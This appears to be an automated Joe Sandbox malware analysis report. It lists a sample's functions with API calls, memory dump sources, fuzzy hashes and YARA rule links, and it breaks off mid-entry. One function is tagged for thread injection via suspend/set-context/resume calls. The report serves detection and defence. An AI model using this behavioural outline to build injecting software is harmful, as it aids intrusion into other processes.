Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: malloc
String ID: d9
API String ID: 2803490479-525153364
Opcode ID: 26b778ceaefcb34cf580cc34d8badc653f756240541ec6dd0d10338f16c2fd84
Instruction ID: 2d58806002ef70e6d057069fe75769c1f0ca3b8f8057af2c96c710f2276d8700
Opcode Fuzzy Hash: 26b778ceaefcb34cf580cc34d8badc653f756240541ec6dd0d10338f16c2fd84
Instruction Fuzzy Hash: 74F065F050870C9EDB007FB9CDC223ABAD89F54344F41482CEAC98B223E679D844E762

Function 006EE9C2 Relevance: 3.0, APIs: 2, Instructions: 20fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNELBASE(?,?,00000000,?,?,?,006EECB6,?,?,00000000,?,?), ref: 006EE9D2
GetLastError.KERNEL32(?,006EECB6,?,?,00000000,?), ref: 006EE9E8

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CopyErrorFileLast
String ID:
API String ID: 374144340-0
Opcode ID: 1387b742ee3b26852034d465fe887cf228f58250ce71a0413e5057569db3c0b0
Instruction ID: ec5b0624896cc6f09b4ed2b0485375cb4a050cc260b3a3852bfb48b0cdbd7f03
Opcode Fuzzy Hash: 1387b742ee3b26852034d465fe887cf228f58250ce71a0413e5057569db3c0b0
Instruction Fuzzy Hash: C2E086305042C9FFDB41CBA9DC48FAE7FE9AB15304F14C054B94485151D679D581D721

Function 00F9679D Relevance: 2.5, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00F96802
memcpy.MSVCRT(?,?,?,?,?,?,00000000,?,?,?,00FF8436), ref: 00F96836

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: mallocmemcpy
String ID:
API String ID: 4276657696-0
Opcode ID: e56321168b17001f2d718dc71cdfde8505abc6ed4932d63d56164ef544eb3431
Instruction ID: 418ac02588d4c9a7301f7d8c7a25ce432d9bce5ada1ae7aef80b595b6c600615
Opcode Fuzzy Hash: e56321168b17001f2d718dc71cdfde8505abc6ed4932d63d56164ef544eb3431
Instruction Fuzzy Hash: E8014CB5A097018FCB15EF74D490169BBF0BF44358F45881DF9C88B326D7399480EB92

Function 00F96AE9 Relevance: 1.7, APIs: 1, Instructions: 428COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00F9730A
malloc.MSVCRT ref: 00F97498
memcpy.MSVCRT ref: 00F974BD

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: memcpy$malloc
String ID:
API String ID: 962570267-0
Opcode ID: 7b8435de465a71d7bf0919cf40c21d51da4f626b8010819171e47e8ba4f54410
Instruction ID: ea74a354fedb7badf48366f006af554a503b18735354c76b23c173fdd7a4065a
Opcode Fuzzy Hash: 7b8435de465a71d7bf0919cf40c21d51da4f626b8010819171e47e8ba4f54410
Instruction Fuzzy Hash: 5E32EF74D043698FEB61DF28C884799BBF0AF09314F1484D9D98CAB251EB749A88DF91

Function 00FF8669 Relevance: 1.6, APIs: 1, Instructions: 129libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00FF8835

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7103ce3093e426fa997aa0b05bf1a808f2be4fd7006219133fd3995f2a1a8055
Instruction ID: 4f983ecbaa47fdc6113383912a5bc3520e926239591f3fe30cca0cb77d442c34
Opcode Fuzzy Hash: 7103ce3093e426fa997aa0b05bf1a808f2be4fd7006219133fd3995f2a1a8055
Instruction Fuzzy Hash: 8F512A36E002298FDB60CF28C8807A9B7B1BF45354F5945E9CA4DAB352EB70AD85DF41

Function 00F8A66A Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00F8A67C

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 2a565f28891199d657cdbc950fda3ecf4b77e530806d0e4ed905d90499cb1618
Instruction ID: 5a7d83de805453848b1acb4a1f38f1688b7905811d81b4d1acde67f8132fca11
Opcode Fuzzy Hash: 2a565f28891199d657cdbc950fda3ecf4b77e530806d0e4ed905d90499cb1618
Instruction Fuzzy Hash: 854108759083858FE730DF29C48079BBBE5EB89364F144B1EE4AC8B295E3349942DB53

Function 00FF8745 Relevance: 1.6, APIs: 1, Instructions: 83filelibraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00FF8835
UnmapViewOfFile.KERNEL32 ref: 00FF89CB

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: FileLibraryLoadUnmapView
String ID:
API String ID: 4197655312-0
Opcode ID: 69600a26f0a68e46b27208a2bc48992ae64a299b0e5e99bfaa24bf5346102a17
Instruction ID: 7b920936a742efe4cfb3dbae14785bf74bd067f9a250df36d4e7c041ef4c9371
Opcode Fuzzy Hash: 69600a26f0a68e46b27208a2bc48992ae64a299b0e5e99bfaa24bf5346102a17
Instruction Fuzzy Hash: 3F310575E006298FDF70CF28C8807A9B7B1BF45354F5445E8CA8DAB252DB70AD859F42

Function 00F89A24 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 00F89A40

Part of subcall function 00F8E15C: ___lc_codepage_func.MSVCRT ref: 00F8E17F

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: ___lc_codepage_funclocaleconv
String ID:
API String ID: 1112019871-0
Opcode ID: 70ba15e64ae640ad3befd4461c1b093850e883824505429025abe8596fa26cf5
Instruction ID: ba9f93e271eff0c51b74b4bd17c764c0872176105f2cabcee62c084581b22341
Opcode Fuzzy Hash: 70ba15e64ae640ad3befd4461c1b093850e883824505429025abe8596fa26cf5
Instruction Fuzzy Hash: 36216A75D082189BCB14EF69C8811EEBBF4FF88310F04812AE854A7305E7B8D905AB92

Function 00F90AA2 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00F90B47

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: fprintf
String ID:
API String ID: 383729395-0
Opcode ID: ae2f99762284319bf9893e6c5414642e55272a268866242391c6347b26bebd76
Instruction ID: d4bb5c8a9391c8121b5b737b65b41fd04950c0f0456143b16f97a8834677bff5
Opcode Fuzzy Hash: ae2f99762284319bf9893e6c5414642e55272a268866242391c6347b26bebd76
Instruction Fuzzy Hash: 57114C70A04308DFEB10BF69C8445AEBBF1EF84314F10C469E8449B315EB399945AF91

Function 007007A1 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff9361a6898b3238144a80888e41f87c586c52e6534fa9e0996143b1bf3ea5de
Instruction ID: 517e19d4402b603178eb3d3d5c4e2c2c33dd5237f8060e67b1a0592e9c7f5b0d
Opcode Fuzzy Hash: ff9361a6898b3238144a80888e41f87c586c52e6534fa9e0996143b1bf3ea5de
Instruction Fuzzy Hash: 04018032610225EBDB12CA6CEC41A9633E6BBC5770B24C225FA059B1D4DA39AC019AD4

Function 0070049F Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,006FED3E,00000001,00000364,?,00000006,000000FF,?,006F19E7,?,?,0071EFE4), ref: 007004E0

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 87f97501cfa72ddf80da3bd207a24d6c3bccf99ee92d8698a6d961b0aa04d0d3
Instruction ID: 0a60ac21b6152676c68f2fb6c95ca94c7b54160c9a971af8b1827d9ad9f8a194
Opcode Fuzzy Hash: 87f97501cfa72ddf80da3bd207a24d6c3bccf99ee92d8698a6d961b0aa04d0d3
Instruction Fuzzy Hash: 97F0B4315452A9EBDB616A65DC01F6B3BCD9F42770F19C216BF04AA0D0DE2CDC0182E8

Function 00F897DC Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00F89805

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: fputc
String ID:
API String ID: 1992160199-0
Opcode ID: 59f149f4f293d3524cc3095c0a4de307d76f96ad0412bb0c56303f8fda4c476c
Instruction ID: 08d27b0af1699040cf57d948cf23744ca12c7a7c5c727d62269eb75dd45df0c8
Opcode Fuzzy Hash: 59f149f4f293d3524cc3095c0a4de307d76f96ad0412bb0c56303f8fda4c476c
Instruction Fuzzy Hash: 75E065B09082018BCF08AF19C581471BBA5FB853007998299D94A0B247D370D840DB56

Non-executed Functions

Function 00F85533 Relevance: 10.4, APIs: 8, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08f785325b9a9e696a46c0ed606d9ab810df1a05c3331c88510afc2a04971435
Instruction ID: 0e5a53621443ab0e66e92bbdcfebb2c60ac78544fc35fac9689dabc9d57bf411
Opcode Fuzzy Hash: 08f785325b9a9e696a46c0ed606d9ab810df1a05c3331c88510afc2a04971435
Instruction Fuzzy Hash: E9E19261F08A418FDB54BE3888C13EAB7D25B41B24F98C56AE485CF246E63DCC45AB41

Function 00F85DB8 Relevance: 9.3, APIs: 4, Strings: 2, Instructions: 297stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 00F85DF7
strlen.MSVCRT ref: 00F85E5C
strlen.MSVCRT ref: 00F86079
strlen.MSVCRT ref: 00F860CC

Strings

_GLOBAL_, xrefs: 00F85DEC
F, xrefs: 00F85E50

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: strlen$strncmp
String ID: F$_GLOBAL_
API String ID: 2920004640-3892140033
Opcode ID: 6e3bfd3a1144cf8e86c756097967631791ab4e696fb0aead4598061f3e9f49be
Instruction ID: cd84569207316a20c9cb20e847a5e39e8a66f6b3669629cd4116e2279b2711b0
Opcode Fuzzy Hash: 6e3bfd3a1144cf8e86c756097967631791ab4e696fb0aead4598061f3e9f49be
Instruction Fuzzy Hash: 13C17A71D046298FEB24EF68C8813DDFBF1AF4A310F4481BAC449A7242E7359A85EF45

Function 00F90734 Relevance: 8.9, APIs: 7, Instructions: 123COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00F907BA
CloseHandle.KERNEL32 ref: 00F907F8
CloseHandle.KERNEL32 ref: 00F90805
TlsSetValue.KERNEL32 ref: 00F90837
CloseHandle.KERNEL32 ref: 00F90851
CloseHandle.KERNEL32 ref: 00F90888
CloseHandle.KERNEL32 ref: 00F9089B

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CloseHandle$Value
String ID:
API String ID: 2076415241-0
Opcode ID: 5be7d471c760f3943c8a36694a2bfea756998f85da341b58876776054123c03a
Instruction ID: e9c67b6a616d0cfe0c3f95cb56fa3625b163484365c32ded697a1528c73436ee
Opcode Fuzzy Hash: 5be7d471c760f3943c8a36694a2bfea756998f85da341b58876776054123c03a
Instruction Fuzzy Hash: 59412E71A04305CFEF60EF79D98466A7BE8EF54724F044429E884CB246DB35D880EBD1

Function 00F8E734 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00F8E771
CreateSemaphoreA.KERNEL32(?,?,00000000,00000014), ref: 00F8E7B4
CreateSemaphoreA.KERNEL32 ref: 00F8E7D3
CloseHandle.KERNEL32 ref: 00F8E7E9
CloseHandle.KERNEL32(00000000), ref: 00F8E7FA
free.MSVCRT ref: 00F8E804
InitializeCriticalSection.KERNEL32 ref: 00F8E820
InitializeCriticalSection.KERNEL32(00000000), ref: 00F8E829
InitializeCriticalSection.KERNEL32 ref: 00F8E832

Strings

l, xrefs: 00F8E762

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CriticalInitializeSection$CloseCreateHandleSemaphore$callocfree
String ID: l
API String ID: 3701386200-2517025534
Opcode ID: 1e8480a13ffbead76c16e68e6e229d793eb9a6486ccaf9d421bef522c9efefbc
Instruction ID: 45a0be7ea809006e1d83e45a4a6f3ac4cf8978fe6342100812541b569c6654fc
Opcode Fuzzy Hash: 1e8480a13ffbead76c16e68e6e229d793eb9a6486ccaf9d421bef522c9efefbc
Instruction Fuzzy Hash: C931E6B1904300DFDB54EF79C88465ABBE4EF88320F15896DE898CB249E735D844DB52

Function 00F81360 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00F81373
GetProcAddress.KERNEL32 ref: 00F8138F
GetProcAddress.KERNEL32 ref: 00F813A4
GetProcAddress.KERNEL32 ref: 00F813B9
GetProcAddress.KERNEL32 ref: 00F813CE

Strings

MyFindResourceA, xrefs: 00F8139C
LoadResource, xrefs: 00F813B1
SizeofResource, xrefs: 00F813C6
kernel32.dll, xrefs: 00F8136C
GetModuleHandleA, xrefs: 00F81384

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetModuleHandleA$LoadResource$MyFindResourceA$SizeofResource$kernel32.dll
API String ID: 2238633743-68724043
Opcode ID: d78fdf6e1ac0166f089f8b4e55eed4ed902641ce33951ace5c1ee6b1edc6f9ea
Instruction ID: fc0d09fc8ee9434160c02e9f4b9c221cb3ad343b411fa6cb6fd861ed6e44fc0c
Opcode Fuzzy Hash: d78fdf6e1ac0166f089f8b4e55eed4ed902641ce33951ace5c1ee6b1edc6f9ea
Instruction Fuzzy Hash: 4CF0BBB0C153148FD711BF78A58D119BEF0AF08304F41852DD5CC9725AD7BA4458DBA3

Function 00F9840C Relevance: 15.1, APIs: 10, Instructions: 138COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00F98460

Part of subcall function 00F8757C: abort.MSVCRT ref: 00F875B6

fputs.MSVCRT ref: 00F984D1
fputs.MSVCRT ref: 00F98509
fputs.MSVCRT ref: 00F9852D
free.MSVCRT ref: 00F9853E
fputs.MSVCRT ref: 00F9856E
abort.MSVCRT ref: 00F9857A
fputs.MSVCRT ref: 00F985CF
fputs.MSVCRT ref: 00F985EB
fputc.MSVCRT ref: 00F98608

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: fputs$abort$fputcfree
String ID:
API String ID: 193835883-0
Opcode ID: d43e5db947cb8f5e74e5364d015a6341e87e46b544606d319d7e8386dc9971de
Instruction ID: 47431e6d4e8c66f2c1baead29b2cabee1d5dcc4b8f8a4ce8965cc580d96b19df
Opcode Fuzzy Hash: d43e5db947cb8f5e74e5364d015a6341e87e46b544606d319d7e8386dc9971de
Instruction Fuzzy Hash: E65198B0C083589FEB10BFA8C9496ADBFF4BF05360F15851DE4A49B3A1D7788845EB52

Function 00F90EA9 Relevance: 13.6, APIs: 9, Instructions: 139threadinjectionsynchronizationCOMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 00F90EE6
SetEvent.KERNEL32 ref: 00F90F2E
SuspendThread.KERNEL32 ref: 00F90FA7
WaitForSingleObject.KERNEL32(00000000), ref: 00F90FBA
GetThreadContext.KERNEL32 ref: 00F90FD7
SetThreadContext.KERNEL32 ref: 00F90FF3
SetEvent.KERNEL32(?,?), ref: 00F9101C
ResumeThread.KERNEL32(?,?), ref: 00F91031
SetEvent.KERNEL32 ref: 00F9105B

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: Thread$Event$Context$HandleInformationObjectResumeSingleSuspendWait
String ID:
API String ID: 56398499-0
Opcode ID: ed72b19bb6eee207037e161ed616705b1f7ce743f5c7afb37453a355600cdd91
Instruction ID: dc14c55fb2f7121ac720ee868ad512877b7b865428aafae90a314442e846232e
Opcode Fuzzy Hash: ed72b19bb6eee207037e161ed616705b1f7ce743f5c7afb37453a355600cdd91
Instruction Fuzzy Hash: 34517071914B429FEB11AF78D844669BBF4FF08364F000628F8D5C3692DB39E490DBA1

Function 00F8EBAE Relevance: 13.6, APIs: 9, Instructions: 113COMMON

Download Yara Rule

APIs

TryEnterCriticalSection.KERNEL32 ref: 00F8EC3B
LeaveCriticalSection.KERNEL32 ref: 00F8EC8E
CloseHandle.KERNEL32 ref: 00F8ECBA
CloseHandle.KERNEL32 ref: 00F8ECC3
LeaveCriticalSection.KERNEL32(74DF2EE0), ref: 00F8ECCC
DeleteCriticalSection.KERNEL32(00000000), ref: 00F8ECDF
DeleteCriticalSection.KERNEL32(00000000), ref: 00F8ECE8
DeleteCriticalSection.KERNEL32(00000000), ref: 00F8ECF1
free.MSVCRT ref: 00F8ECF7

Part of subcall function 00F8E484: EnterCriticalSection.KERNEL32(?,?,?,?,?,00000001,?,?,00F8EFB3,00000000), ref: 00F8E497
Part of subcall function 00F8E484: LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,00000001,?,?,00F8EFB3,00000000), ref: 00F8E4CD

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

